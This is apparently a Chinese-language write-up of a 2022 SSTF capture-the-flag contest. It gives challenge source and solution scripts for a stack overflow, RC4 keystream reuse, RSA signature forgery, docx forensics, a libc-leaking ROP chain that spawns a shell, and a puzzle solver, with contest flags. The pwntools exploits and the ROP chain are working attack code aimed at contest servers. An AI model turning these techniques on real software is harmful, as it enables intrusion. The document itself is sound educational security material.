打开的时候已经比赛完了,不过题目还可以看也可以提交确认正误。有点良心。
前边有个教程
0,签到
这个直接给了flag,一共有690个提交,看来参加的人不多
1,BOF101
一个pwn题,附件给了源码,后边102和103不让作,应该是比赛的时候作了101才让作。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int printflag(){
char buf[32];
FILE* fp = fopen("/flag", "r");
fread(buf, 1, 32, fp);
fclose(fp);
printf("%s", buf);
return 0;
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
exit(0);
}
return 0;
}
也就是ret2system这个意思,PIE打开加载地址随机但直接给出了加载地址,直接溢出就行,中间注意要恢复check
from pwn import *
#p = process('./bof101')
p = remote('bof101.sstf.site', 1337)
context(arch='amd64', log_level='debug')
p.recvuntil(b's addr: ')
printflag = int(p.recvline(), 16)
print(hex(printflag))
p.sendlineafter(b"What is your name?\n: ", b'A'*(0x90-4)+p32(0xdeadbeef)+b'A'*8+ p64(printflag+5))
print(p.recv())
p.ineractive()
#SCTF{n0w_U_R_B0F_3xpEr7}
2,RC four
这是一个RC4加密的题,给了一断明文和对应的密文,然后是flag的密文
from Crypto.Cipher import ARC4
from secret import key, flag
from binascii import hexlify
#RC4 encrypt function with "key" variable.
def encrypt(data):
#check the key is long enough
assert(len(key) > 128)
#make RC4 instance
cipher = ARC4.new(key)
#We don't use the first 1024 bytes from the key stream.
#Actually this is not important for this challenge. Just ignore.
cipher.encrypt("0"*1024)
#encrypt given data, and return it.
return cipher.encrypt(data)
msg = "RC4 is a Stream Cipher, which is very simple and fast."
print (hexlify(encrypt(msg)).decode())
print (hexlify(encrypt(flag)).decode())
#634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8
#624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb
由于用的同一个密码,而流加密是流是相同的,只需要用密文与明文异或得到流,再用这个流去与flag的密文异或就能得到flag
msg = b"RC4 is a Stream Cipher, which is very simple and fast."
c1 = bytes.fromhex('634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8')
c2 = bytes.fromhex('624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb')
print(bytes([msg[i]^c1[i]^c2[i] for i in range(len(c2))]))
#SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}
3,RSA101
远程的RSA题,可以加密一些命令,但不参加"cat flag",只要传上"cat flag"的密文就能得到flag
from base64 import b64encode, b64decode
from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
from os import system
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
print("[RSA parameters]")
print("n =", hex(n))
print("e =", hex(e))
def sign(msg):
m = bytes_to_long(msg)
s = pow(m, d, n)
return long_to_bytes(s)
def verify(s):
s = bytes_to_long(s)
v = pow(s, e, n)
return long_to_bytes(v)
def welcome():
print("\nWelcome to command signer/executor.")
print("Menu : 1. Verify and run the signed command")
print(" 2. Generate a signed command")
print(" 3. Base64 encoder")
print(" 4. Exit")
while True:
welcome()
sel = input(" > ").strip()
if sel == "1":
sgn = input("Signed command: ").strip()
sgn = b64decode(sgn)
cmd = verify(sgn)
commands = ["ls -l", "pwd", "id", "cat flag"]
if cmd.decode() in commands:
system(cmd)
else:
print("Possible commands: ", commands)
elif sel == "2":
cmd = input("Base64 encoded command to sign: ")
cmd = b64decode(cmd)
if cmd == b"cat flag":
print("It's forbidden.")
else:
print("Signed command:", b64encode(sign(cmd)).decode())
elif sel == "3":
cmd = input("String to encode: ").strip().encode()
print("Base64 encoded string:", b64encode(cmd).decode())
elif sel == "4":
print("bye.")
exit()
else:
print("Invalid selection.")
根据公式 m^e = c mod n有 (m1*m2)^e = c1*c2 mod n这样先求出m1*m2的密文和m2的密文就能还原出m1的密文
n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
e = 0x10001
m1 = 'aWQ=' #id
c1 = 'qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA='
m2 = 'KOnKsqaqdklLPA==' # id * cat flag
c2 = 'IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho='
from base64 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import invert
c1 = bytes_to_long(b64decode(c1))
c2 = bytes_to_long(b64decode(c2))
c = (invert(c1, n)*c2) %n
print(c)
bc = b64encode(long_to_bytes(c))
print(bc)
#o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
#SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
'''
shi@ubuntu:~/2022sstf/bol$ nc rsa101.sstf.site 1104
[RSA parameters]
n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
e = 0x10001
Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
2. Generate a signed command
3. Base64 encoder
4. Exit
> 2
Base64 encoded command to sign: aWQ=
Signed command: qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA=
Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
2. Generate a signed command
3. Base64 encoder
4. Exit
> 2
Base64 encoded command to sign: KOnKsqaqdklLPA==
Signed command: IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho=
Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
2. Generate a signed command
3. Base64 encoder
4. Exit
> 1
Signed command: o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
'''
4, DocxAchive
这是个word文档,里边有个嵌入文件,先把扩展名改为zip然后解开能得到oleObject1.bin这个文件也不知道怎么打开,先用010打开看看发现有个PNG文件头,将这一块复制出来。打开里边就是个flag
5, PPPR
一开始以为一定要用PPPR感觉很麻烦,打开后看就是一个栈溢出题,先puts(got.puts)再回到main(由于这里边没有/bin/sh所以要用libc里的bin/sh才用到libc,原题原意可能是用pppr直接用输入的串,因为system已经给出了),然后在得到libc后再作system(bin/sh)
from pwn import *
elf = ELF('./pppr')
context(arch='i386', log_level='debug')
#p = process('./pppr')
p = remote('pppr.sstf.site', 1337)
#gdb.attach(p, "b*0x80485b2")
#pause()
bss = 0x804a100
pay = flat(b'A'*8,0, elf.plt['puts'],elf.sym['main'],elf.got['puts'])
p.sendline(pay)
libc_base = u32(p.recv(4)) - 0x6d1e0 #local 0x6dc30
bin_sh = libc_base + 0x18b363 #0x18e363
print('libc:', hex(libc_base))
pay = flat(b'A'*8,0, elf.plt['system'],0, bin_sh)
p.sendline(pay)
p.interactive()
#SCTF{Anc13nt_x86_R0P_5kiLl}
6,Flip Puzzle
这是一个4阶拼版游戏,复原4*4块的位置。由于是计算机上的虚拟,这个没有上下左右边界,可以在左边界左移到最右。另外这里没有空格,是用与A互换实现的,实际上完全一样把A当空格就行了。
#!/usr/bin/env python3
import random
import os
import signal
import sys
LIMIT_TIME = 50
NUM_STAGE = 100
SHUFFLE_NUM = 11
def bye():
print ("Bye~")
sys.exit()
signal.signal(signal.SIGALRM, bye)
signal.alarm(LIMIT_TIME)
class Challenge:
goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
xpos = 0
ypos = 0
dist = 0
def init(self):
self.status = self.goal
def shuffle(self, num):
options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
for _ in range(num):
dx, dy = random.choice(options)
self.move(dx, dy)
def move(self, dx, dy):
assert abs(dx + dy) == 1
assert dx == 0 or dy == 0
arr = self.status.split(",")
p1 = self.xpos * 4 + self.ypos
xxpos = (self.xpos + dx + 4) % 4
yypos = (self.ypos + dy + 4) % 4
p2 = xxpos * 4 + yypos
arr[p1], arr[p2] = arr[p2], arr[p1]
self.xpos = xxpos
self.ypos = yypos
self.status = ",".join(arr)
def ok(self):
return self.goal == self.status
def dump(self):
arr = self.status.split(",")
for i in range(0, 4):
print ("".join(arr[i*4:i*4+4]))
for _ in range(NUM_STAGE):
chall = Challenge()
chall.shuffle(SHUFFLE_NUM)
cnt = 0
print("Current Status :")
chall.dump()
while chall.ok() == False:
try:
dx, dy = map(int, input(">>>").split(","))
chall.move(dx, dy)
cnt = cnt + 1
if cnt > SHUFFLE_NUM:
bye()
except:
bye()
print ("Solved!")
print("SCTF{fake-flag}")
由于需要成功100次才行,所以不能在线解题,要先生成个库,也就是11步所能走到的所有情况。这个用分层遍历来实现。由于要走11步,所以这个运行花费大量时间,估计这也是题目完成人少的原因
def move(status, dx, dy):
arr = status.split(",")
p1 = arr.index('A')
p1x = p1 // 4
p1y = p1 % 4
p2x = (p1x+dx)%4
p2y = (p1y+dy)%4
p2 = p2x*4 + p2y
arr[p1], arr[p2] = arr[p2], arr[p1]
return ",".join(arr)
goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
options = [[0, +1], [0, -1], [+1, 0], [-1, 0]]
SHUFFLE_NUM = 11
a_m = []
a_s = []
def get_s(m, t, s):
global a_m,a_s
if t in a_m:
return a_s[a_m.index(t)]
a_m = [m]
a_s = [s]
start = 0
end = len(a_m)
for _ in range(SHUFFLE_NUM):
print(_)
newstate = {}
for j in range(start, end):
for i in range(4):
ns = move(a_m[j], options[i][0], options[i][1])
if ns not in a_m:
a_m.append(ns)
a_s.append(a_s[j]+str(i))
start = end
end = len(a_m)
get_s(goal,goal, '') #取得所有状态
print(len(a_m), a_m[:10], a_s[:10])
open('a_m.dat', 'w').write("\n".join(a_m))
open('a_s.dat', 'w').write("\n".join(a_s))
生成了一个10M的库,和所走的最短路径,然后再连线查表返回步数
a_m = []
with open("a_m.dat") as f:
for i in range(324747):
a_m.append(f.readline().strip('\n'))
a_s = []
with open("a_s.dat") as f:
for i in range(324747):
a_s.append(f.readline().strip('\n'))
print(len(a_m), len(a_s))
op_r = [[0, -1], [0, 1], [-1, 0], [1, 0]]
print(op_r[0][0])
from pwn import *
#context(arch='amd64', log_level= 'debug')
p = remote("flippuzzle.sstf.site", 8098)
#p = process(["d:/python/python","app.py"])
NUM_STAGE = 100
for i in range(NUM_STAGE):
print(i, end='')
p.recvuntil(b"Current Status :\n")
old_status = p.recvuntil(b'>>>', drop=True).replace(b'\n', b'').decode()
old_status = ",".join(list(old_status))
print('old:', old_status)
ok = a_s[a_m.index(old_status)][::-1]
for i in ok:
i = int(i)
r = op_r[i]
p.sendline(str(r[0]) +","+str( r[1]))
print(p.recvline())
print(p.recvline())
#SCTF{what-is-your-favorite-algorithm_0x38dc129?}